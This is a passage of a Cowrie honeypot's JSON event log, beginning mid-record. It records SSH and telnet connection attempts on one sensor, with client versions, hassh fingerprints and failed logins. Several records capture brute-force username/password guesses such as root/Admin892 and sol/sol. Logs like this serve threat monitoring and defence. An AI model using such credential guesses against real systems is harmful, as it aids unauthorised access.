16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:21.104432Z","src_ip":"37.233.85.71","session":"693884ca4e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22041980","message":"login attempt [root/22041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:21.448402Z","src_ip":"37.233.85.71","session":"693884ca4e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:22.563027Z","src_ip":"37.233.85.71","session":"693884ca4e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45398,"dst_ip":"159.203.135.109","dst_port":22,"session":"593028fbf522","protocol":"ssh","message":"New connection: 27.71.230.31:45398 (159.203.135.109:22) [session: 593028fbf522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:29.289397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:29.785898Z","src_ip":"27.71.230.31","session":"593028fbf522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:30.703316Z","src_ip":"27.71.230.31","session":"593028fbf522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin892","message":"login attempt [root/Admin892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:39.232976Z","src_ip":"27.71.230.31","session":"593028fbf522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:36:41.320618Z","src_ip":"27.71.230.31","session":"593028fbf522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53070,"dst_ip":"159.203.135.109","dst_port":22,"session":"487ae61fdb0b","protocol":"ssh","message":"New connection: 103.176.20.57:53070 (159.203.135.109:22) [session: 487ae61fdb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:38.810565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:38.814487Z","src_ip":"103.176.20.57","session":"487ae61fdb0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:39.062242Z","src_ip":"103.176.20.57","session":"487ae61fdb0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paragon","message":"login attempt [root/paragon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:39.811400Z","src_ip":"103.176.20.57","session":"487ae61fdb0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:41.064278Z","src_ip":"103.176.20.57","session":"487ae61fdb0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":55696,"dst_ip":"10.17.0.5","dst_port":22,"session":"f04a5a382360","protocol":"ssh","message":"New connection: 80.66.85.226:55696 (10.17.0.5:22) [session: f04a5a382360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:55.943324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:55.947247Z","src_ip":"80.66.85.226","session":"f04a5a382360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:56.036123Z","src_ip":"80.66.85.226","session":"f04a5a382360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vesper","message":"login attempt [root/vesper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:56.304709Z","src_ip":"80.66.85.226","session":"f04a5a382360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:37:57.395994Z","src_ip":"80.66.85.226","session":"f04a5a382360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":57380,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5662ea0ad91","protocol":"telnet","message":"New connection: 132.148.22.172:57380 (10.17.0.5:23) [session: b5662ea0ad91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:06.908707Z"}
{"eventid":"cowrie.session.closed","duration":31.069052696228027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:37.977666Z","src_ip":"132.148.22.172","session":"b5662ea0ad91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":32856,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef9d40fe0368","protocol":"ssh","message":"New connection: 80.94.92.184:32856 (10.17.0.5:22) [session: ef9d40fe0368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:41.473515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:42.100747Z","src_ip":"80.94.92.184","session":"ef9d40fe0368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:42.104553Z","src_ip":"80.94.92.184","session":"ef9d40fe0368","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:44.350553Z","src_ip":"80.94.92.184","session":"ef9d40fe0368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:38:45.607945Z","src_ip":"80.94.92.184","session":"ef9d40fe0368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.189","src_port":40645,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f8c1a4b339","protocol":"ssh","message":"New connection: 91.230.168.189:40645 (159.203.135.109:22) [session: f9f8c1a4b339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:27.375792Z"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:28.063053Z","src_ip":"91.230.168.189","session":"f9f8c1a4b339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.190","src_port":42095,"dst_ip":"159.203.135.109","dst_port":22,"session":"95ceeb95ba4a","protocol":"ssh","message":"New connection: 91.230.168.190:42095 (159.203.135.109:22) [session: 95ceeb95ba4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:28.135165Z"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:38.453367Z","src_ip":"91.230.168.190","session":"95ceeb95ba4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.140","src_port":35371,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ca3eef19d56","protocol":"ssh","message":"New connection: 91.230.168.140:35371 (159.203.135.109:22) [session: 9ca3eef19d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:54.834228Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xecr\\xaa\\xf0@\\xd2","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003\\xecr\\xaa\\xf0@\\xd2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:54.840887Z","src_ip":"91.230.168.140","session":"9ca3eef19d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:54.843742Z","src_ip":"91.230.168.140","session":"9ca3eef19d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.142","src_port":51335,"dst_ip":"159.203.135.109","dst_port":22,"session":"6385872bf105","protocol":"ssh","message":"New connection: 91.230.168.142:51335 (159.203.135.109:22) [session: 6385872bf105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:54.988287Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:39:57.994462Z","src_ip":"91.230.168.142","session":"6385872bf105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6916553a8f3","protocol":"ssh","message":"New connection: 193.37.70.224:53148 (10.17.0.5:22) [session: a6916553a8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:04.745189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:04.751768Z","src_ip":"193.37.70.224","session":"a6916553a8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:04.835841Z","src_ip":"193.37.70.224","session":"a6916553a8f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:05.105257Z","src_ip":"193.37.70.224","session":"a6916553a8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:06.193999Z","src_ip":"193.37.70.224","session":"a6916553a8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":13204,"dst_ip":"10.17.0.5","dst_port":22,"session":"87316561ec67","protocol":"ssh","message":"New connection: 123.58.215.196:13204 (10.17.0.5:22) [session: 87316561ec67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:09.316612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:09.335479Z","src_ip":"123.58.215.196","session":"87316561ec67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:09.561389Z","src_ip":"123.58.215.196","session":"87316561ec67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12","message":"login attempt [server/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:10.488422Z","src_ip":"123.58.215.196","session":"87316561ec67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:11.719236Z","src_ip":"123.58.215.196","session":"87316561ec67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":37032,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fa9de213736","protocol":"ssh","message":"New connection: 38.93.206.2:37032 (159.203.135.109:22) [session: 7fa9de213736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:18.839814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:18.845078Z","src_ip":"38.93.206.2","session":"7fa9de213736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:18.896435Z","src_ip":"38.93.206.2","session":"7fa9de213736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bujhmbujhm","message":"login attempt [root/bujhmbujhm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:19.050718Z","src_ip":"38.93.206.2","session":"7fa9de213736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:40:20.108785Z","src_ip":"38.93.206.2","session":"7fa9de213736","protocol":"ssh"}
